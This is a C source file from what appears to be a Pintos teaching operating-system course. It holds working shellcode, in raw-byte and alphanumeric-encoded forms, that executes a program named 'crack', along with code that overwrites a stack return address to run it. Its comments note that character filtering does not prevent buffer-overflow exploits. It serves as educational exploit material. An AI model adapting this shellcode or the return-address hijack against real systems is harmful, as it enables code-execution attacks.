aboutsummaryrefslogtreecommitdiffstats
path: root/src/examples/shellcode.c
blob: 63e3fe9ee448da4cde9e51c57afcf0c5c69d7b17 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
/* klaar@ida
 
   pintos -v --fs-disk=2 -p ../examples/crack -a crack -p ../examples/shellcode -a shellcode -- -f -q run 'shellcode'
   
   -*- Woahhh, have fun -*-
   http://www.phrack.org/issues.html?issue=49&id=14#article
   http://www.phrack.org/issues.html?issue=57&id=15#article
 
   Somewhat simpler to achieve in Pintos actually.
 */

#include <syscall.h>

#if 0
/* This it the below assembly code in binary form. It runs. To get it,
 * just compile the code below and use the debugger to dump the code
 * in the main function. */
char shellcode[] =
  "\x90\x90\x90\x90\x90\xe9\x0b\x00"
  "\x00\x00\x6a\x02\xcd\x30\x31\xc0"
  "\x50\x40\x50\xcd\x30\xe8\xf0\xff"
  "\xff\xff""crack";
#else
/* And this is rather scary amazing...  This is also the below
 * assembly code in binary form, but now using ONLY alphanumeric
 * characters. It works flawless...  Using something like isalpha() on
 * input does not prevent crackers to exploit buffer overflows.
 */
char shellcode[] =
  "LLLLZh7JWUX57JWUHPSPPSRPPaWPVUUF"
  "VDNfhKZfXf5vOfPDRPaAjeY0Lka0Tkah"
  "9bdUY1LkbjIY0Lkg0tkhjUX0Dkk0Tkkj"
  "8Y0Lkm0tkohEJZuX1Dkq1TkqjHY0Lku0"
  "tkuCjqX0Dkzs2bdUjK201jPxP20REZuH"
  "crackq";
#endif

int main( void )
{
#if 1
  int *ret; /* A local variable is stored on the stack. */
  
  ret = (int *)&ret + 2;   /* Two steps above in the stack is the
                            * address to continue at when main
                            * return... the normal function return
                            * address. */
  (*ret) = (int)shellcode; /* We overwrite it with the address to the
                            * shell code. This will check that the
                            * shell code works as expected. */
  return 0;
#else
  /* Assembler code to do the following:
   *
   *  exec("crack");
   *  exit();
   *
   * Apparently the code 0x01 can not be sent as input to pintos, so
   * it can not be part of any instruction. Reason unknown. Theory:
   * 0x01 may be grabbed as Ctrl-a by QEMU ?
   *
   * Translate push 0x01 ==> ... push %eax
   *
   * The tricky part is to figure out at which address the name of the
   * program to start is stored. The call instruction solves it
   * nicely. It saves the following address as return address.
   */
  
  __asm__("jmp    0x0f;"             /* jump to CALL */
/* actual address of string pushed as return address by CALL */
          "push   $0x2;"             /* push EXEC syscall number */
          "int    $0x30;"            /* make syscall */
          "xor    %eax,%eax;"        /* load 0 in eax */
          "push   %eax;"             /* push exit_status */
          "inc    %eax;"             /* inc eax to 1 */
          "push   %eax;"             /* push EXIT syscall number */
          "int    $0x30;"            /* make syscall */
/* CALL */"call   -0x0C;"            /* jumps back again */
          ".string \"crack\";"       /* program to start */
    );
#endif
}